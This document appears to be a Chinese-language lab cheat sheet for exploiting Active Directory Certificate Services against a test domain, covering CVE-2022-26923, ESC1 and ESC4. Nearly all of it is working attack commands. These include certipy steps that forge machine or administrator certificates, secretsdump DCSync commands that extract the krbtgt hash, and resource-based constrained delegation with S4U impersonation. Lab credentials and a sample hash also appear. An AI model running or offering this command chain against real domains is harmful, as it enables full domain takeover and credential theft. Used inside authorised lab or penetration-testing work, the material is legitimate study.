CVE-2022–26923
创建机器账户并指定dnsHostName为dc的域名
certipy account create -u cert@hacktest.com -p Admin123456. -dc-ip 10.211.55.3 -user win -pass win@123456 -dns 'DC.hacktest.com'
用该机器账户向ADCS请求证书
certipy req -u 'win$'@hacktest.com -p win@123456 -target 10.211.55.7 -dc-ip 10.211.55.3 -ca hacktest-ADCS-CA -template Machine
拿到证书后获取域控权限的2种方式
方式1 使用证书请求hash
dcsync
python3.9 secretsdump.py hacktest.com/'DC$'@10.211.55.3 -just-dc-user hacktest/krbtgt -hashes :1ebfc1b73935fc791787838daa9b44a6
总结命令
certipy account create -u cert@hacktest.com -p Admin123456. -dc-ip 10.211.55.3 -user win -pass win@123456 -dns 'DC.hacktest.com'
certipy req -u 'win$'@hacktest.com -p win@123456 -target 10.211.55.7 -ca hacktest-ADCS-CA -template Machine
certipy auth -pfx dc.pfx -dc-ip 10.211.55.3
secretsdump.py hacktest.com/'DC$'@10.211.55.3 -just-dc-user hacktest/krbtgt -hashes :1ebfc1b73935fc791787838daa9b44a6
方式2 RBCD
如果目标不支持PKInit,可以用RBCD设置相关委派关系
openssl pkcs12 -in dc.pfx -out dc.pem -nodes
密码为空
(bloodyAD.py. 0.2.3)版本命令,设置从win$到DC$的基于资源的约束委派
python3.9 bloodyAD.py -c ':dc.pem' -u 'win$' --host 10.211.55.3 setRbcd 'win$' 'DC$'
使用委派协议s4u请求票据
python3.9 getST.py hacktest.com/'win$':'win@123456' -spn LDAP/DC.hacktest.com -impersonate administrator -dc-ip 10.211.55.3
export KRB5CCNAME=administrator.ccache
python3.9 secretsdump.py -k dc.hacktest.com -just-dc-user hacktest/krbtgt
总结命令
openssl pkcs12 -in dc.pfx -out dc.pem -nodes
python3.9 bloodyAD.py -c ':dc.pem' -u 'win$' --host 10.211.55.3 setRbcd 'win$' 'DC$'
python3.9 getST.py hacktest.com/'win$':'win@123456' -spn LDAP/DC.hacktest.com -impersonate administrator -dc-ip 10.211.55.3
export KRB5CCNAME=administrator.ccache
python3.9 secretsdump.py -k dc.hacktest.com -just-dc-user hacktest/krbtgt
bug
certipy find -u cert@hacktest.com -p Admin123456. -dc-ip 10.211.55.3 -dc-only -vulnerable -debug
遇到报错,需要指定-target-ip 也就是ADCS证书服务器ip
certipy find -u cert@hacktest.com -p Admin123456. -dc-ip 10.211.55.3 -dc-only -vulnerable -debug -target-ip 10.211.55.7
ECS1
操作前牢记的几个命令
certtmpl.msc命令打开证书模板控制台
颁发证书 certsrv.msc
certmgr.msc 来申请用户证书,或者使用certlm.msc申请计算机证书
ESC1的利用条件如下:
- 企业 CA 授予低特权用户注册权限。
- CA 证书管理程序批准被禁用。
- 无需授权签名。
- 过于宽松的证书模板安全描述符会向低特权用户授予证书注册权限。
- 证书模板定义了启用域身份验证的 EKU。
- 证书模板允许请求者在 CSR 中指定SAN
发布模版
漏洞扫描
certipy find -u cert@hacktest.com -p Admin123456. -dc-ip 10.211.55.3 -dc-only -vulnerable -stdout
漏洞利用方式1
certipy
certipy req -u cert@hacktest.com -p Admin123456. -dc-ip 10.211.55.4 -target 10.211.55.7 -ca hacktest-ADCS-CA -template ESC1 -upn administrator@hacktest.com -debug
certipy auth -pfx administrator.pfx -dc-ip 10.211.55.3 -debug
漏洞利用方式2
certify+Rubeus+mimikatz
ESC4
复制web服务器模版,做以下配置
修改模版为启用mspki-certificate-name-flag 属性中启用 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT 标志,也就是ESC1的漏洞条件
admod -b "CN=ESC4,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=hacktest,DC=com" "msPKI-Certificate-Name-Flag::1"
修改后,发现已经变成在请求中提供
此时再去按照ESC1的方式去利用
certipy req -u cert@hacktest.com -p Admin123456. -dc-ip 10.211.55.4 -target 10.211.55.7 -ca hacktest-ADCS-CA -template ESC4 -upn administrator@hacktest.com -debug
certipy auth -pfx administrator.pfx -dc-ip 10.211.55.3 -debug